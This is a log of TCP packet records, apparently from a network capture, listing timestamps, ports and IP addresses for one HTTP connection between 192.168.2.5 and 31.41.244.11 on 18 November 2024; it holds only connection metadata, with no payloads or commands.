Nov 18, 2024 19:04:09.726403952 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.726403952 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.727056980 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.727076054 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.727118015 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.727147102 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.727796078 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.727814913 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.727853060 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.727881908 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.728502035 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.728518963 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.728559017 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.728605032 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.729209900 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.729228020 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.729243040 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.729262114 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.729298115 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.729298115 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.874869108 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.874886990 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.874946117 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.874994993 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.875550032 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.875569105 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.875606060 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.875637054 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.876182079 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.876199007 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.876235008 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.876274109 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.876669884 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.876689911 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.876705885 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.876722097 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.876724005 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.876735926 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.876745939 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.876768112 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.876827002 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.877465963 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.877481937 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.877527952 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.877552986 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.878283024 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.878300905 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.878339052 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.878364086 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.879125118 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.879143953 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.879184008 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.879214048 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.879651070 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.879668951 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.879705906 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.879731894 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.962274075 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.962296009 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.962316990 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.962354898 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.962385893 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.962749004 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.962820053 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.963248968 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.963265896 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.963334084 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.963334084 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.963728905 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.963746071 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.963783026 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.963814020 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.964378119 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.964392900 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.964447021 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.992784977 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.992856026 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.993098974 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.993117094 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.993159056 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.993190050 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.993742943 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.993758917 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.993798971 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.993827105 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.994204044 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.994263887 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.994401932 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.994451046 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.994965076 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.994981050 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.995016098 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.995044947 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.995775938 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.995793104 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.995830059 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.995861053 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.080714941 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.080842972 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.081042051 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.081057072 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.081098080 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.081130981 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.081201077 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.081263065 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.081518888 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.081538916 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.081579924 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.081579924 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.081729889 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.081775904 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.081953049 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.081965923 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.081980944 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.082004070 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.082035065 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.082644939 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.082660913 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.082707882 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.082707882 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.111133099 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.111196041 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.111294031 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.111309052 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.111345053 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.111372948 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.111792088 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.111808062 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.111849070 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.111880064 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.112415075 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.112432003 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.112467051 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.112498045 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.112864017 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.112879992 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.112917900 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.112950087 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.113611937 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.113627911 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.113661051 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.113691092 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.114276886 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.114325047 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.199089050 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.199147940 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.199258089 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.199275017 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.199340105 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.199340105 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.200035095 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.200093031 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.200150013 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.200165033 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.200200081 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.200232029 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.200628996 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.200644970 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.200689077 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.200689077 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.201354027 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.201370955 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.201417923 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.201417923 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.202014923 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.202063084 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.229671001 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.229753017 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.229794979 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.229846954 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.229896069 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.229943037 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.230237961 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.230257988 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.230292082 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.230323076 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.230994940 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.231013060 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.231024981 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.231049061 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.231079102 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.231453896 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.231477022 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.231511116 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.231542110 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.232068062 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.232116938 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.232223034 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.232237101 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.232268095 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.232315063 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.232981920 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.232996941 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.233037949 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.233068943 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.318203926 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.318324089 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.318361998 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.318417072 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.318420887 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.318464994 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.318717003 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.318770885 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.318837881 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.318891048 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.319173098 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.319189072 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.319226980 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.319255114 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.319864035 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.319880962 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.319916010 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.319946051 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.320457935 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.320473909 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.320519924 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.320555925 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.321075916 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.321130037 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.348599911 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.348696947 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.348794937 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.348814964 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.348948002 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.348948002 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.349405050 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.349422932 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.349452019 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.349467039 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.349975109 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.349992037 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.350019932 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.350040913 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.350601912 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.350617886 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.350646019 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.350663900 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.351362944 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.351381063 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.351416111 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.351434946 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.351995945 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.352015018 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.352061987 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.352061987 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.394694090 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.394877911 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.394876003 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.394952059 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.437396049 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.437477112 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.437526941 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.437544107 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.437577963 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.437608957 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.438163042 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.438178062 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.438215971 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.438522100 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.438728094 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.438744068 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.438781023 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.438812971 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.439366102 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.439382076 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.439424038 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.439424038 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.440151930 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.440166950 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.440340996 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.467617989 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.467703104 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.467808008 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.467823982 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.467878103 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.467879057 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.468471050 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.468487024 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.468534946 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.468535900 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.469191074 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.469238997 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.469275951 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.469306946 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.469887972 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.469903946 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.469950914 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.469950914 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.470658064 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.470674992 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.470688105 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.470741987 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.471330881 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.471345901 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.471374989 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.471374989 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.471374989 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.471412897 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.555413008 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.555514097 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.555725098 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.555895090 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.556747913 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.556817055 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.557116032 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.557131052 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.557178020 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.557212114 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.558141947 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.558157921 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.558195114 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.558233976 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.559039116 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.559053898 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.559102058 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.559102058 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.560282946 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.560298920 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.560340881 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.560373068 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.561543941 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.561604977 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.587800026 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.587817907 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.587994099 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.588838100 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.588854074 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.588900089 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.588989019 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.589962006 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.590018034 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.591046095 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.591063023 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.591103077 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.591135979 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.592122078 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.592139006 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.592154026 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.592190027 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.592222929 CET	49977	80	192.168.2.5	31.41.244.11
